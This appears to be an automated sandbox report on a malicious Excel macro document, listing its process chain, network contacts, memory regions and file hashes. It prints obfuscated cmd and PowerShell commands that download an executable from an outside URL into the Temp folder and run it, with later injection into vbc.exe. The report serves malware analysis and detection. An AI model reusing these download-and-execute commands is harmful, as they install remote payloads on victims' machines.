PID 3832 wrote to memory of 3980 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3832 wrote to memory of 3980 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3980 wrote to memory of 388 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\zJAMC.exe
PID 3980 wrote to memory of 388 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\zJAMC.exe
PID 3980 wrote to memory of 388 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\zJAMC.exe
PID 388 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\zJAMC.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 388 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\zJAMC.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 388 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\zJAMC.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\fileattached.xlsm"

C:\Windows\SYSTEM32\cmd.exe

cmd /c p^o^w^e^r^s^h^e^l^l.e^xe -w 1 Start-Sleep 10;%Temp%\zJAMC.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (nEw-oBjecT Net.WebcLIENt).('Down'+'loadFile').Invoke('http://iurl.vip/bij0o',$env:Temp+'\zJAMC.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -w 1 Start-Sleep 10;C:\Users\Admin\AppData\Local\Temp\zJAMC.exe

C:\Users\Admin\AppData\Local\Temp\zJAMC.exe

"C:\Users\Admin\AppData\Local\Temp\zJAMC.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

"\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"

Network

Country Destination Domain Proto
N/A 8.8.8.8:53 iurl.vip udp
N/A 43.241.252.216:80 iurl.vip tcp
N/A 8.8.8.8:53 cdn.discordapp.com udp
N/A 162.159.133.233:443 cdn.discordapp.com tcp
N/A 162.159.133.233:443 cdn.discordapp.com tcp

Files

memory/3716-114-0x00007FF627E60000-0x00007FF62B416000-memory.dmp

memory/3716-115-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp

memory/3716-116-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp

memory/3716-117-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp

memory/3716-118-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp

memory/3716-121-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp

memory/3716-122-0x00007FF9EFD90000-0x00007FF9F0E7E000-memory.dmp

memory/3716-123-0x000001994AAA0000-0x000001994C995000-memory.dmp

memory/3832-258-0x0000000000000000-mapping.dmp

memory/3896-259-0x0000000000000000-mapping.dmp

memory/3980-260-0x0000000000000000-mapping.dmp

memory/3980-265-0x000001E7CD700000-0x000001E7CD701000-memory.dmp

memory/3980-273-0x000001E7E58E0000-0x000001E7E58E1000-memory.dmp

memory/3980-274-0x000001E7E5980000-0x000001E7E5982000-memory.dmp

memory/3980-275-0x000001E7E5983000-0x000001E7E5985000-memory.dmp

memory/3896-276-0x0000029666330000-0x0000029666332000-memory.dmp

memory/3896-277-0x0000029666333000-0x0000029666335000-memory.dmp

memory/3896-291-0x0000029666336000-0x0000029666338000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\zJAMC.exe

MD5 1ec2aa05e274896088c5f4e569016b8c
SHA1 9a593a1cd60c30955dfcc61fb7516126127c8176
SHA256 caae487ef6fab03606a01040e2060f1738eb9d910380569453c66b3111479370
SHA512 794f407c43c77260eafd5489f8a0fe7dfd4cb3f51a344237ed6fa44bf03b868a1488d1b66b61159c5fa87105f9647b37b485375bdaefb129d5598dc545af7fd8

memory/388-294-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\zJAMC.exe

MD5 1ec2aa05e274896088c5f4e569016b8c
SHA1 9a593a1cd60c30955dfcc61fb7516126127c8176
SHA256 caae487ef6fab03606a01040e2060f1738eb9d910380569453c66b3111479370
SHA512 794f407c43c77260eafd5489f8a0fe7dfd4cb3f51a344237ed6fa44bf03b868a1488d1b66b61159c5fa87105f9647b37b485375bdaefb129d5598dc545af7fd8

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 b0976ba964f2633d065cf03f23a6dd14
SHA1 36f23d6d18aa038700418322468fc2f98163d5b9
SHA256 f9e76616a8ca93cdaa573e3865e97b2571b54b0e4af93a4971a3a494a9f5883a
SHA512 03a986630a745ab53a8b45a47a144bc6439b7ee67b30cf4873d189e567f753f8ba6d2e59cb0f98788dc6d156e9ee8c7d08a0287ed8470cb2eea8b250404b25be

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 56efdb5a0f10b5eece165de4f8c9d799
SHA1 fa5de7ca343b018c3bfeab692545eb544c244e16
SHA256 6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108
SHA512 91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

memory/3980-299-0x000001E7E5986000-0x000001E7E5988000-memory.dmp

memory/388-300-0x00000000008D0000-0x00000000008D1000-memory.dmp

memory/388-302-0x0000000005250000-0x0000000005251000-memory.dmp

memory/388-303-0x0000000005240000-0x0000000005245000-memory.dmp

memory/388-304-0x0000000005C10000-0x0000000005C11000-memory.dmp

memory/3716-318-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp

memory/3716-319-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp

memory/3716-320-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp

memory/3716-321-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp